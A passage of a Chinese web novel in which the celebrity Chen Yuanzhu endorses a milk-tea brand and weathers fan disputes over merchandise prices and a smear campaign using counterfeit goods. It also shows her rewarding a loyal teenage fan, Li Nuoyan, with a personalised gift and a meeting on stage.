当天晚上，陈杬祝工作室的官方微博发布了一条消息：【陈杬祝女士已与青芋暖茶达成合作，正式成为品牌年度代言人。温柔守护，纯粹初心，与青芋暖茶一起，暖尽岁月漫长。】 微博配图是陈杬祝手持青芋暖茶定制奶茶的照片。照片里，她穿着一件浅杏色的针织衫，长发松松地挽在脑后，嘴角带着淡淡的笑意。奶茶杯套上的月莲与萤石图案，在灯光下泛着柔和的光泽，与她眼底的温柔相映成趣。 这条微博发出的瞬间，全网再次陷入狂欢。#陈杬祝 青芋暖茶代言人# #月莲萤石奶茶杯套# #温柔守护青芋暖茶# 三个话题迅速冲上热搜，评论区里满是祝福与期待： 【啊啊啊！恭喜杬祝姐姐！青芋暖茶和姐姐的适配度拉满了！】 【月莲与萤石的杯套！太好看了吧！这是什么神仙联名！】 【温柔守护，纯粹初心！姐姐的理念和品牌的定位完美契合！】 【谢谢品牌方的用心！还特意去征求老蛊婆的同意！太尊重苗寨文化了！】 【已经开始期待姐姐的代言广告了！一定要去买十杯！】 没有人再提及之前的住址泄露风波，也没有人再去追问私生饭的后续。所有人的注意力，都被这份温柔的合作与精美的杯套图案所吸引。 而陈杬祝坐在公寓的沙发上，看着手机屏幕里的评论，指尖轻轻敲击着桌面。她知道，这份合作不仅仅是一个代言，更是对她坚守的认可，对苗寨文化的尊重。 深夜的风，带着淡淡的奶茶香，吹进了陈杬祝的公寓。她轻轻关上手机，走到书桌前，拿起一本苗寨的古籍，安静地翻了起来。 她知道，未来的路还很长，但只要身边有这些温柔的守护，有这份纯粹的初心，她就能一直走下去。 而青芋暖茶的线下门店里，已经开始连夜更换宣传海报。海报上，陈杬祝的笑容温柔而坚定，杯套上的月莲与萤石图案，在灯光下熠熠生辉。 所有人都在期待着，这份温柔的守护，能暖尽岁月的漫长。 青芋暖茶官宣陈杬祝代言的第二天，线下门店的队从店门排到了街尾，阳光晒得人脊背发烫，却没人愿意挪动半步。李诺言背着双肩包，在队伍里站了整整两个小时，额角的汗顺着脸颊往下淌，浸湿了口罩的边缘。 她是陈杬祝的老粉了，从陈杬祝还没走红的小众时期就开始追随，手机壳是陈杬祝的代言款，锁屏是沈怨举着萤石的截图，连书包上都挂着陈杬祝演唱会的纪念徽章。这次青芋暖茶推出的联名周边，她早就列好了清单：定制月莲萤石杯套、限量款签名海报、还有那个印着陈杬祝侧脸的陶瓷马克杯。 终于排到她时，李诺言的声音都带着点激动的沙哑：“您好，我要一杯芋泥波波茶，加珍珠，还有全套的联名周边。” 店员熟练地扫码结算，屏幕上跳出的数字让李诺言的笑容瞬间僵在了脸上。 “一共一百五十八元，请问是扫码还是现金？” 一百五十八。 只是一杯奶茶加一套周边，这个价格几乎是她三天的饭钱。李诺言的手指攥紧了手机，屏幕上的余额数字刺得她眼睛发疼。她咬了咬下唇，不死心地追问：“周边单独买的话多少钱？” “杯套三十，海报五十，马克杯八十，单独买一共一百六，比加奶茶还贵两块呢。”店员的语气带着职业性的热情，却让李诺言的心头凉了半截。 她身后的粉丝已经开始催促，有人不耐烦地嘟囔：“买不起就别占着位置啊，后面还有好多人等着呢。” 李诺言的脸瞬间涨得通红，窘迫地攥着衣角，指尖都在微微发颤。她犹豫了很久，最终还是小声说：“那……只要一杯芋泥波波茶吧。” 店员的动作顿了顿，还是点了头。 拿着那杯温热的奶茶，李诺言没有立刻离开，而是站在门店的角落，看着玻璃柜里摆着的联名周边，眼底的失落几乎要溢出来。她打开微博，指尖带着几分委屈和不甘，在超话里发了一条帖子，没有带任何话题，只是简单的几句话： 【今天去买了杬祝姐姐代言的奶茶，一杯奶茶二十块我能接受，可是周边也太贵了吧……杯套三十，海报五十，马克杯八十，一套下来快赶上我三天饭钱了。我真的很想支持姐姐，可是这个价格，真的有点负担不起啊。】 帖子发出的瞬间，就被迅速顶了上去。 一开始，评论区里都是和她有同样感受的粉丝： 【姐妹我懂你！我也是学生党，一百多块真的太贵了，我只能买一杯奶茶意思一下。】 【周边的定价确实离谱了！一个普通的陶瓷杯，换个图案就卖八十，这不是割韭菜是什么？】 【我也想支持姐姐，可是钱包不允许啊！学生党真的伤不起！】 但很快，另一部分粉丝就开始反驳，言辞渐渐变得激烈： 【买不起就别买啊！没人逼你！这是联名周边，本来就是限量的，贵一点怎么了？】 【你到底是不是真粉啊？连一百多块都不愿意为姐姐花，也好意思说自己是老粉？】 【品牌方也要赚钱的！姐姐的代言费那么高，周边不贵一点怎么回本？】 争吵愈演愈烈，甚至有人开始扒李诺言的主页，发现她只是一个普通的高中生，没有经济来源，便开始嘲讽她“穷还追星”“不配当粉丝”。#青芋暖茶周边定价# #李诺言 质疑奶茶太贵# 两个话题很快被刷上热搜，和之前#陈杬祝 青芋暖茶代言人#的温柔词条形成了鲜明的对比。 李诺言看着评论区里那些不堪入目的辱骂，眼泪终于忍不住掉了下来。她不是不愿意支持陈杬祝，只是她真的没有能力。她的零花钱都是父母一点一点攒下来的，每一分都来之不易。她删掉了那条帖子，却还是挡不住那些恶意的评论和私信，只能默默将微博设置成了私密。 而此时的青芋暖茶总部，品牌方的负责人正看着后台疯狂上涨的销量和不断发酵的舆情，眉头紧紧蹙起。他没想到，一边是销量暴涨，一边却是粉丝对定价的质疑，甚至已经开始有人上升到陈杬祝，说她“割粉丝韭菜”。 张可可第一时间看到了热搜，她立刻联系了品牌方，语气带着不容置喙的坚定：“必须调整周边定价，或者推出平价版周边。杬祝的粉丝里，有很多学生党和普通上班族，她们的心意不能被价格衡量。” 品牌方负责人犹豫了：“可是我们的周边都是定制的，成本很高，降价的话……” “成本的问题可以协商。”张可可打断他的话，“但如果因为定价问题伤害了粉丝，伤害了杬祝的口碑，这才是最大的损失。” 就在双方僵持不下时，陈杬祝的微信消息发了过来，只有简单的一句话：【粉丝的心意，不该用价格来定义。推出平价复刻版周边，所有利润，我一分不取，全部捐给贫困学生助学基金。】 品牌方负责人看到消息，瞬间愣住了，随即立刻点头同意：“好！我们马上安排！” 当天晚上，青芋暖茶官方微博发布了一条道歉声明，同时宣布了新的决定： 【针对本次联名周边定价过高的问题，我们向所有粉丝真诚道歉。为了让更多人能感受到这份温柔的守护，我们将推出平价复刻版周边，定价为杯套十元，海报二十元，马克杯三十元，明日起正式上线。同时，原版限量周边的所有利润，将与陈杬祝女士一起，全部捐赠给贫困学生助学基金。】 这条微博发出的瞬间，全网的争吵瞬间平息。 李诺言看到这条微博时，正趴在书桌上哭。她抬起头，看着屏幕上的文字，眼泪流得更凶了，只是这一次，是感动的泪水。她立刻打开微博，将私密设置取消，发了一条新的帖子： 【谢谢杬祝姐姐！谢谢青芋暖茶！我明天就去买平价版周边！姐姐真的太温柔了，她永远都在为我们着想！】 评论区里，满是粉丝们的感动与祝福： 【啊啊啊！杬祝姐姐太温柔了！她永远都记得我们！】 【平价版周边！太好了！学生党终于可以冲了！】 【把利润捐给助学基金！姐姐的格局真的太大了！】 【青芋暖茶这次的处理也很到位！知错就改，值得点赞！】 远在断魂崖底，沈怨正举着许祭刚给他做的芋泥羹，看着手机里的新闻，脆生生地说：“许祭哥哥，杬祝姐姐好厉害！她让奶茶店的周边变便宜了！” 许祭低头，看着他眼底的光芒，声音低沉而柔和：“嗯，因为杬祝姐姐知道，粉丝的心意，比任何金钱都要珍贵。” 梨春梦也看到了这条消息，她的脸上露出了欣慰的笑容。她拿起手机，在青芋暖茶的微博下评论：【苗寨的孩子，也想喝一杯带着月莲图案的奶茶。】 这条评论瞬间被顶到了热评第一，粉丝们纷纷留言： 【春梦妹妹！我们一起买！】 【苗寨的孩子们也值得拥有！】 【杬祝姐姐知道了，一定会给苗寨的孩子们寄奶茶的！】 而陈杬祝坐在公寓的沙发上，看着手机屏幕里的评论，指尖轻轻摩挲着那个定制的马克杯。她的脸上没有丝毫波澜，只有一片淡淡的温柔。 她知道，粉丝的支持不是理所当然，而她能做的，就是用自己的方式，守护住他们的心意。 深夜的风，带着淡淡的奶茶香，吹进了陈杬祝的公寓。她轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 她知道，这份跨越山海的守护，这份双向的温柔，会像月莲一样，永远绽放在她们的生命里。 第二天一早，青芋暖茶的线下门店再次排起了长队。李诺言第一个冲到了柜台前，手里紧紧攥着攒了很久的零花钱：“您好，我要一杯芋泥波波茶，还有一套平价版的联名周边！” 店员笑着递给她奶茶和周边，杯套上的月莲与萤石图案，在阳光的照耀下，泛着柔和的光泽。 李诺言捧着奶茶，走出店门，抬头看向天空，嘴角的笑容比阳光还要灿烂。 她知道，这杯奶茶，不仅仅是一杯奶茶，更是她和陈杬祝之间，最温柔的约定。 平价版周边上线的第三天，一条带着九张高清实拍图的微博，如同一块巨石砸进平静的湖面，瞬间在全网掀起轩然大波。 发布者是一个常年蹲守在陈杬祝超话边缘的黑粉，账号头像是刻意丑化的表情包，昵称带着明显的恶意。她的微博文案尖锐而刻薄，每一个字都像淬了毒的针：【陈杬祝割韭菜新高度！青芋暖茶平价版周边劣质到离谱！杯套一撕就烂，马克杯掉漆，海报印刷模糊，这就是所谓的“温柔守护”？骗粉丝钱也请走点心吧！】 九张图片里，杯套的边缘确实有撕裂的痕迹，马克杯的杯口处隐约能看到一点掉漆的斑驳，海报上陈杬祝的侧脸轮廓也确实比官方宣传图模糊了几分。黑粉特意将这些细节放大，配上醒目的红色箭头标注，看起来触目惊心。 这条微博发出后，黑粉立刻买了热搜，#陈杬祝 周边劣质# #青芋暖茶平价版割韭菜# 两个话题以惊人的速度冲上热搜榜，与之前#陈杬祝 青芋暖茶双向温柔#的词条形成刺眼的对比。 原本一片祥和的评论区瞬间被撕裂，黑粉们如同嗅到血腥味的鲨鱼，疯狂涌入评论区刷屏： 【早就知道便宜没好货！陈杬祝这是把粉丝当傻子耍呢！】 【平价版就是劣质版的遮羞布吧！一边说守护粉丝心意，一边卖垃圾周边，真够双标的！】 【割完高端割低端！陈杬祝的吃相也太难看了！赶紧滚出娱乐圈吧！】 【这海报模糊得连人都认不出来了！杯套一撕就烂，马克杯还掉漆，谁敢用啊！】 甚至有不明真相的路人，跟着黑粉一起指责陈杬祝和青芋暖茶： 【作为顶流代言人，难道不应该把控品控吗？这也太不负责任了！】 【品牌方为了赚钱真是毫无底线，陈杬祝为了代言费也是睁一只眼闭一只眼吧！】 【粉丝的钱就这么好赚？心疼那些学生党粉丝，攒了好久的零花钱买了一堆垃圾。】 李诺言是第一个看到这条微博的粉丝之一。她手里正捧着刚买的平价版马克杯，杯身上的月莲与萤石图案清晰而精致，杯口光滑没有丝毫掉漆的痕迹。她立刻翻出自己的杯套和海报，杯套韧性十足，用力拉扯也没有撕裂，海报上的陈杬祝笑容温柔，轮廓分明。 她的眼眶瞬间红了，不是委屈，而是愤怒。她立刻在黑粉的微博下评论，附带了自己的周边实拍图：【我买的平价版周边根本不是这样的！杯套很结实，马克杯没有掉漆，海报也很清晰！你这是故意抹黑！】 可她的评论很快就被黑粉的水军淹没，甚至有人跑到她的主页下辱骂她是“收了钱的水军”“脑残粉”。 越来越多的粉丝站出来晒出自己的周边实拍图，证明平价版周边的品控并没有问题。可黑粉却咬死了自己的“证据”，甚至还发布了一段视频，视频里她用力撕扯杯套，直到杯套撕裂，又用指甲刮擦马克杯的杯口，硬是刮出了一点痕迹。 “视频为证！这就是陈杬祝和青芋暖茶的劣质周边！”黑粉的文案里，满是得意的挑衅。 舆情瞬间发酵，张可可第一时间联系了青芋暖茶的品牌方，语气带着前所未有的严肃：“立刻调查这批所谓的‘劣质周边’！是品控问题，还是有人故意抹黑？” 品牌方的负责人也急得焦头烂额，立刻调取了所有线下门店的进货记录和库存，同时将黑粉发布的图片和视频交给了专业的质检机构。 几个小时后，调查结果和质检报告同时出炉。 青芋暖茶的平价版周边，所有批次都经过了严格的品控检测，合格率达到了99.8%。而黑粉发布的图片和视频里的周边，并非品牌方的正品，而是来自某小作坊的高仿假货。杯套的材质与正品不同，韧性极差，马克杯的涂层也是劣质材料，极易掉漆，海报更是用劣质纸张印刷，自然模糊不清。至于视频里的“暴力测试”，更是刻意为之——正品杯套虽结实，却也经不起如此刻意的撕扯，马克杯的涂层也扛不住指甲的反复刮擦。 几乎是同时，陈杬祝的工作室也发布了一条微博，附带了青芋暖茶的进货记录、库存截图和质检报告：【针对近期出现的“劣质周边”谣言，我们已与青芋暖茶品牌方共同完成调查。经核实，相关图片及视频中的周边并非正品，而是高仿假货。品牌方已报警处理，我们将追究相关人员的法律责任。粉丝们购买周边时，请通过官方线下门店及线上旗舰店渠道，谨防假冒伪劣产品。】 青芋暖茶官方微博也同步转发了这条微博，并补充道：【我们已对所有官方渠道的周边进行了再次抽检，品控均符合标准。对于假冒伪劣产品，我们绝不姑息！同时，为了感谢粉丝们的信任，我们将为所有在官方渠道购买平价版周边的粉丝，免费赠送一份月莲萤石贴纸。】 这条微博发出的瞬间，全网的风向瞬间逆转。 #陈杬祝 黑粉抹黑# #青芋暖茶假货# #李诺言 实拍图# 三个话题迅速取代了之前的热搜。粉丝们的愤怒瞬间爆发，纷纷跑到黑粉的微博下要求道歉： 【黑粉滚出娱乐圈！竟然用假货抹黑杬祝姐姐和品牌方！】 【亏我们还差点信了你的鬼话！原来你手里的是高仿假货！】 【支持品牌方报警！支持杬祝姐姐追究法律责任！这种黑粉就该付出代价！】 【谢谢李诺言妹妹第一个站出来！谢谢所有晒图的粉丝！我们永远相信杬祝姐姐！】 那个黑粉的微博瞬间被举报到封禁，买的热搜也被迅速下架。她试图用小号继续蹦跶，却被粉丝们追着举报，最终销声匿迹。 李诺言看着自己的评论被顶到了热评第一，看着满屏的支持与祝福，眼泪终于忍不住掉了下来。她再次发布了一条微博，配图是自己捧着马克杯的笑脸：【我就知道，杬祝姐姐永远不会让我们失望！温柔的人，值得被全世界温柔以待！】 远在断魂崖底，沈怨正举着许祭刚给他做的芋泥羹，看着手机里的新闻，小脸上满是愤怒：“许祭哥哥！那个坏人为什么要抹黑杬祝姐姐？她是个大坏蛋！” 许祭低头，看着他眼底的怒火，轻轻揉了揉他的头发，声音低沉而冰冷：“她会为自己的行为付出代价。没有人可以随意伤害我们在意的人。” 梨春梦也看到了这条消息，她的眉头紧紧蹙起，手指飞快地在屏幕上打字，在陈杬祝的微博下评论：【苗寨的蛊，能辨真假。那些心怀恶意的人，躲不过的。】 这条评论瞬间被顶到了热评第一，粉丝们纷纷留言： 【春梦妹妹太飒了！苗寨的蛊辨真假！】 【心怀恶意的人，终究会自食恶果！】 【杬祝姐姐有我们守护，还有苗寨的蛊守护，谁也别想伤害她！】 而陈杬祝坐在公寓的沙发上，看着手机屏幕里的评论，指尖轻轻摩挲着那个正品的平价版马克杯。杯身上的月莲与萤石图案，在灯光下泛着柔和的光泽。 她的脸上没有丝毫波澜，只有一片淡淡的平静。 她知道，恶意永远不会消失，但只要身边有这些坚定的守护，有这份纯粹的信任，任何抹黑与诋毁，都无法撼动她半分。 深夜的风，带着淡淡的奶茶香，吹进了陈杬祝的公寓。她轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 她知道，这份跨越山海的守护，这份双向的信任与坚定，会像月莲一样，永远绽放在她们的生命里。 第二天一早，青芋暖茶的线下门店再次排起了长队。这一次，粉丝们不仅是为了购买周边，更是为了用实际行动，支持陈杬祝，支持青芋暖茶。 李诺言再次站在了柜台前，手里紧紧攥着零花钱：“您好，我要一杯芋泥波波茶，还有一套平价版周边，麻烦给我一份免费的月莲萤石贴纸！” 店员笑着递给她奶茶、周边和贴纸，贴纸上面的月莲与萤石图案，精致而可爱。 李诺言捧着奶茶，走出店门，抬头看向天空，嘴角的笑容比阳光还要灿烂。 她知道，这杯奶茶，这份周边，不仅仅是一份支持，更是她和陈杬祝之间，最坚定的约定。 午后两点整，陈杬祝的个人微博准时更新，没有提前预热，却瞬间点燃了全网的热情。 这条微博依旧简洁，没有多余的文案，只配了一个奶白色的奶茶杯表情符号。三张配图排列得整整齐齐，占据了整个屏幕。 前两张是陈杬祝的代言宣传照。 第一张里，她穿着青芋暖茶定制的浅杏色宣传卫衣，衣摆处绣着小巧的月莲与萤石图案，领口的抽绳系成了一个温柔的蝴蝶结。她微微侧身站在落地窗前，午后的阳光透过玻璃洒在她身上，在她身后晕出一圈柔和的金边。她手里捧着一杯芋泥波波茶，杯套正是那款平价版的月莲萤石款，指尖轻轻搭在杯壁上，嘴角噙着一抹浅浅的笑意，眼底的温柔几乎要溢出来。 第二张是近距离的特写。她依旧穿着那件宣传卫衣，只是头上多了一顶同色系的针织帽，帽檐下的眉眼弯弯。她将奶茶举到镜头前，杯身上的图案清晰可见，另一只手比了一个小巧的爱心手势，指尖的温度仿佛能透过屏幕传递过来。照片的背景是一片淡淡的芋泥色，与她身上的衣服相得益彰，整个人看起来温暖又治愈。 第三张图，是青芋暖茶官方旗舰店的代言周边抢购热线海报。海报的主色调是奶白与浅青，左上角印着陈杬祝的迷你宣传照，中间用醒目的字体写着青芋暖茶×陈杬祝 联名周边官方抢购热线，下方是一串红色的电话号码，旁边还标注着线上线下同步开启，限量周边先到先得的字样。海报的底部，还特意注明了正品保障，谨防假冒的温馨提示，旁边配着月莲与萤石的小图标。 微博发出的瞬间，本就热度不减的服务器再次迎来一波高峰，评论区以每秒数万条的速度刷新，#陈杬祝 奶茶宣传照# #青芋暖茶抢购热线# #月莲萤石周边# 三个话题以断层之势冲上热搜榜首，后面跟着鲜红的“爆”字。 粉丝们的热情瞬间被点燃，评论区里满是尖叫与期待： 【啊啊啊！姐姐的宣传照也太好看了吧！浅杏色卫衣好适合她！温柔到骨子里了！】 【这个爱心手势！我直接心动！芋泥波波茶看起来好好喝！我现在就去买！】 【抢购热线！码住了！一定要抢到平价版周边！还有那个免费的贴纸！】 【正品保障！太贴心了！再也不怕买到假货了！姐姐和品牌方真的太懂我们了！】 【已经开始打电话了！希望能抢到限量款！就算抢不到，平价版我也要买十套！】 眼尖的粉丝很快发现了细节——陈杬祝穿的宣传卫衣上，月莲与萤石的图案，比杯套上的更加精致，而且衣摆处还绣着一个小小的“祝”字。这个发现让粉丝们瞬间沸腾： 【衣摆上的“祝”字！是姐姐的名字！这是什么神仙细节！】 【我宣布！这件卫衣是我的年度最想要！品牌方什么时候出卫衣周边啊！我一定买！】 【细节控一本满足！姐姐和品牌方的用心，我们都看在眼里！】 李诺言看到这条微博时，正在学校的午休室里。她立刻拿出手机，将三张图片保存下来，然后毫不犹豫地拨通了抢购热线。电话接通的瞬间，她的声音都带着激动的颤抖：“您好！我要一套平价版的联名周边！还有一杯芋泥波波茶！” 而此时的青芋暖茶官方旗舰店，电话铃声此起彼伏，接线员们忙得不可开交，却依旧保持着热情的语气。线下门店的队伍再次排到了街尾，甚至有粉丝特意从外地赶来，只为了买到一杯印有陈杬祝代言图案的奶茶。 张可可看着后台疯狂上涨的数据，嘴角的笑意怎么也藏不住。她走到陈杬祝的公寓楼下，看着楼上那扇熟悉的窗户，低声道：“杬祝，你看，他们都在为你疯狂。” 陈杬祝正站在窗边，手里捧着一杯刚泡好的芋泥茶，看着楼下的人群，眼底闪过一丝淡淡的暖意。她的手机屏幕上，是梨春梦发来的消息，附带一张照片——苗寨的孩子们，手里都捧着一杯青芋暖茶，脸上带着纯真的笑容。照片下方，梨春梦的文字简单而温暖：【孩子们说，这杯茶，和阿怨画的月莲一样好看。】 陈杬祝忍不住弯起嘴角，回复了一个月亮的表情。 远在断魂崖底，沈怨正穿着许祭给他做的同款浅杏色小褂，手里捧着一杯用溪水煮的芋泥羹，凑到许祭的嘴边，脆生生地说：“许祭哥哥！你看！我和杬祝姐姐穿的衣服一样！这个芋泥羹也和奶茶一样好喝！” 许祭低头，看着他眼底的光芒，轻轻咬了一口芋泥羹，声音低沉而柔和：“嗯，和阿怨一样好看，一样好喝。” 沈怨的眼睛瞬间亮了起来，捧着碗跑到梨树下，大声喊道：“杬祝姐姐！我也有同款衣服！我也会做芋泥羹！” 许祭站在原地，看着他蹦蹦跳跳的身影，无奈地摇了摇头，眼底却满是宠溺。 绫司司也看到了陈杬祝的微博，她没有评论，只是默默转发了这条微博，附言只有一个字：【买。】 简单的一个字，却带着不容置疑的支持，瞬间被顶到了热评第一。 陈杬祝坐在公寓的沙发上，看着手机屏幕里的评论和转发，指尖轻轻摩挲着手里的奶茶杯。杯身上的月莲与萤石图案，在午后的阳光里泛着柔和的光泽。 她的脸上没有丝毫波澜，只有一片淡淡的平静。 她知道，这份支持，这份热情，不仅仅是因为她的代言，更是因为她们之间那份双向的守护与信任。 下午三点整，青芋暖茶官方微博发布了一条消息：【截至目前，平价版周边销量已突破百万套，限量版周边已全部售罄！感谢所有粉丝的支持与信任！我们将继续坚守品质，与陈杬祝女士一起，传递温柔与守护。】 这条微博发出的瞬间，评论区里满是粉丝们的喜悦与骄傲： 【百万销量！太厉害了！】 【限量版售罄了！还好我手速快！】 【姐姐的带货能力真的太强了！】 【温柔的人，值得被全世界温柔以待！】 深夜的风，带着淡淡的奶茶香，吹进了陈杬祝的公寓。她轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 她知道，这份跨越山海的守护，这份双向的温柔与信任，会像月莲一样，永远绽放在她们的生命里。 青芋暖茶联名周边售罄的第七天，李诺言刚结束晚自习，背着沉甸甸的书包走出校门，就看见校门口的快递柜前，穿着橙色制服的快递员正朝她挥手。 “李诺言同学吗？有一份你的专属快递，需要本人签收。”快递员递过来的不是常见的纸箱，而是一个用奶白色丝带系着的精致礼盒，礼盒表面印着陈杬祝工作室的专属logo——一朵小巧的月莲，旁边缀着一颗萤石。 李诺言的心跳瞬间漏了一拍，她几乎是颤抖着接过礼盒，指尖触碰到礼盒表面的绒面材质，柔软得像云朵。她反复确认着快递单上的信息，收件人是她的名字，寄件人一栏却只写着“工作室”三个字，地址是陈杬祝工作室的官方地址。 她抱着礼盒，连书包都忘了背稳，一路小跑着回到家。关上门的瞬间，她才敢靠在门板上，大口喘着气，脸颊烫得能煎鸡蛋。客厅的灯还亮着，父母还在等她吃饭，可她此刻什么都顾不上了，只想立刻打开这个礼盒。 她小心翼翼地解开丝带上的蝴蝶结，掀开盒盖的瞬间，一股淡淡的栀子花香扑面而来。礼盒里铺着柔软的白色丝绒，正中央躺着一件浅杏色的连帽卫衣——和陈杬祝代言宣传照上穿的那件一模一样，衣摆处绣着精致的月莲与萤石图案，而左胸口的位置，还多了一个小巧的“诺”字刺绣。 卫衣的旁边，放着一个透明的亚克力相框，相框里是一张陈杬祝的亲笔签名照。照片上的陈杬祝穿着同款卫衣，笑容温柔，签名的下方，还特意写了一行小字：致李诺言，谢谢你的坚定与信任。 相框的下面，压着一张工作室的专属卡片，卡片上的字迹清秀，是陈杬祝的亲笔：这份周边，全宇宙唯一，送给最坚定的你。 李诺言的眼泪毫无预兆地砸了下来，滴在丝绒上，晕开一小片湿痕。她颤抖着拿起那件卫衣，比了比自己的身材，大小刚好合适。卫衣的材质是顶级的棉麻，柔软又亲肤，绣着“诺”字的地方，针脚细密，带着淡淡的温度。 她想起自己在黑粉微博下的第一条反驳评论，想起自己晒出的周边实拍图，想起自己在超话里写下的那些支持陈杬祝的文字。她从来都没想过，自己只是千千万万粉丝中的一个，却能被陈杬祝记在心里，还收到了这样一份独一无二的礼物。 就在这时，她的手机震动了一下，是陈杬祝工作室的官方微博发来的私信：【李诺言你好，杬祝姐看到了你所有的坚持与守护，这份唯一的工作室周边，是她特意为你定制的。希望你能喜欢，也希望你能永远保持这份纯粹与坚定。】 李诺言再也忍不住，抱着卫衣和签名照，蹲在地上放声大哭。她的哭声里没有委屈，只有无尽的感动与幸福。 客厅里的父母听到声音，连忙跑了过来。当他们看到礼盒里的卫衣、签名照和卡片时，也忍不住红了眼眶。母亲轻轻拍着她的背，声音温柔：“这是你应得的，我的女儿一直都是最坚定、最善良的。” 当天晚上，李诺言在超话里发布了一条微博，配图是卫衣、签名照和卡片的高清实拍图，文案简单而真挚：【我收到了杬祝姐姐送给我的唯一工作室周边！这件卫衣上有我的名字！签名照上有姐姐的亲笔留言！我真的太幸福了！谢谢杬祝姐姐！我会永远坚定地支持你！】 这条微博发出的瞬间，瞬间被顶到了超话榜首，转发量和评论量以惊人的速度飙升。#陈杬祝 唯一工作室周边# #李诺言 专属礼物# #双向奔赴粉丝与偶像# 三个话题以断层之势冲上热搜，评论区里满是粉丝们的羡慕与感动： 【啊啊啊！我酸了！这是什么神仙偶像与粉丝的双向奔赴啊！】 【唯一的工作室周边！卫衣上还有专属的“诺”字刺绣！杬祝姐姐太用心了！】 【李诺言妹妹值得！她是第一个站出来反驳黑粉的人！她的坚定与信任，配得上这份独一无二的礼物！】 【破防了！这就是我喜欢杬祝姐姐的原因！她永远记得粉丝的好，永远把粉丝放在心上！】 【温柔的偶像，坚定的粉丝，这是什么神仙爱情啊！不，是神仙双向奔赴！】 远在断魂崖底，沈怨正趴在许祭的肩头，看着手机里的微博，小脸上满是羡慕：“许祭哥哥，李诺言姐姐好幸福啊！杬祝姐姐送给她唯一的周边！” 许祭低头，看着他眼底的光芒，轻轻揉了揉他的头发，声音低沉而柔和：“嗯，因为李诺言姐姐的坚定，值得这份独一无二的礼物。阿怨要是想要，我也可以给你做唯一的萤石手链。” 沈怨的眼睛瞬间亮了起来，立刻从许祭的怀里坐起来，脆生生地说：“好！我要许祭哥哥做的唯一的萤石手链！” 梨春梦也看到了这条微博，她的脸上露出了温柔的笑容。她拿起手机，在李诺言的微博下评论：【这份唯一的礼物，和苗寨的月莲一样珍贵。】 这条评论瞬间被顶到了热评第一，粉丝们纷纷留言： 【春梦妹妹说得对！这份礼物和月莲一样珍贵！】 【苗寨的月莲，工作室的周边，都是独一无二的守护！】 【李诺言妹妹一定要好好珍藏这份礼物啊！】 绫司司则直接转发了李诺言的微博，附言只有两个字：【值得。】 简单的两个字，却道尽了所有的认可与祝福，瞬间被顶到了热评第二。 而陈杬祝此刻正坐在公寓的沙发上，手里捧着一杯温热的芋泥茶，看着手机屏幕里的评论和转发，眼底的温柔几乎要溢出来。她的指尖轻轻摩挲着手机壳上的月莲图案，那是沈怨托人带给她的。 她想起自己看到李诺言的第一条反驳评论时的心情，想起自己看到李诺言晒出的周边实拍图时的感动。她从来都不是一个善于表达的人，却一直记得那些默默守护她的粉丝，尤其是那些在她遭遇抹黑时，第一个站出来为她说话的人。 这份唯一的工作室周边，是她的心意，也是她对粉丝的回应。 深夜的风，带着淡淡的栀子花香和奶茶香，吹进了陈杬祝的公寓。她轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 她知道，这份跨越山海的双向奔赴，这份粉丝与偶像之间的坚定与信任，会像月莲一样，永远绽放在她们的生命里。 第二天一早，李诺言穿着那件专属的浅杏色卫衣，背着书包，昂首挺胸地走进了学校。阳光洒在她的身上，衣摆处的月莲与萤石图案，还有左胸口的“诺”字刺绣，在阳光下泛着柔和的光泽。 同学们纷纷围过来，羡慕地看着她的卫衣，听着她讲述收到礼物的经过。李诺言的脸上洋溢着幸福的笑容，声音里带着骄傲：“这是杬祝姐姐送给我的唯一的礼物，我会永远珍藏它。” 她知道，这件卫衣，不仅仅是一件衣服，更是她和陈杬祝之间，最独一无二的约定。 陈杬祝青芋暖茶线下应援会的当天，城市中心的商场广场被奶白与浅青的应援色铺满，气球串成的月莲与萤石造型悬在半空中，青芋暖茶的免费试饮台前排起长队，粉丝们手里的灯牌和手幅在阳光下熠熠生辉。 李诺言是最早到场的一批粉丝。她特意穿上了那件陈杬祝送的专属卫衣，浅杏色的布料上，月莲萤石与左胸口的“诺”字刺绣被阳光晒得格外清晰。她手里紧紧攥着那张亲笔签名照，书包里还放着自己画的月莲图案手幅，心脏像揣了只兔子，从出门起就没停过剧烈跳动。 应援会的环节有条不紊地进行着，陈杬祝穿着同款浅杏色宣传卫衣，只是胸口的刺绣换成了工作室的月莲logo。她站在舞台中央，温柔地和粉丝互动，回答着主持人的问题，偶尔低头抿一口芋泥波波茶，嘴角的笑意温柔得能化开春日的冰雪。 到了粉丝互动环节，主持人随机抽取台下粉丝上台合影。当“李诺言”三个字从主持人嘴里念出时，李诺言的大脑瞬间一片空白，还是身边的粉丝推了她一把，她才跌跌撞撞地跑上舞台。 聚光灯打在身上，她能清晰地闻到陈杬祝身上淡淡的栀子花香，和礼盒里的味道一模一样。陈杬祝主动朝她伸出手，指尖带着微凉的温度，声音温柔得像羽毛拂过心尖：“诺言，我认识你。” 李诺言的眼泪瞬间涌了上来，视线变得模糊，她哽咽着，连一句完整的话都说不出来：“杬祝姐姐……我……我喜欢你好久了……” “我知道。”陈杬祝轻轻拍了拍她的手背，示意摄影师准备，然后自然地揽住她的肩膀，将她往自己身边带了带，“靠近一点，我们拍张好看的合照。” 李诺言僵硬地靠着陈杬祝的肩膀，能清晰地感受到对方身上的温度。摄影师按下快门的瞬间，陈杬祝微微侧头，在她耳边轻声说：“你的卫衣很好看。” 那一瞬间，李诺言的眼泪终于忍不住掉了下来，却还是努力地扬起嘴角，对着镜头露出了最灿烂的笑容。 合照结束后，李诺言本以为自己就要下台了，没想到陈杬祝却叫住了她。主持人也很有眼力见地递过一个话筒，陈杬祝拿着话筒，对着台下所有粉丝温柔地说：“诺言是在我被黑粉抹黑时，第一个站出来为我说话的粉丝。她的坚定和信任，值得被所有人看见。今天，我还有一份特别的礼物要送给她。” 台下瞬间响起雷鸣般的掌声，粉丝们都在欢呼，为这份双向的奔赴而感动。 陈杬祝示意工作人员拿过一个小小的二维码牌，然后对着李诺言眨了眨眼：“这是我的私人微信，以后有什么开心的、不开心的，都可以和我说。” 李诺言的眼睛瞬间瞪得溜圆，不敢相信自己的耳朵。她颤抖着拿出手机，手指因为激动而多次扫错码，还是陈杬祝耐心地等着她，直到手机屏幕上跳出“添加好友”的界面。 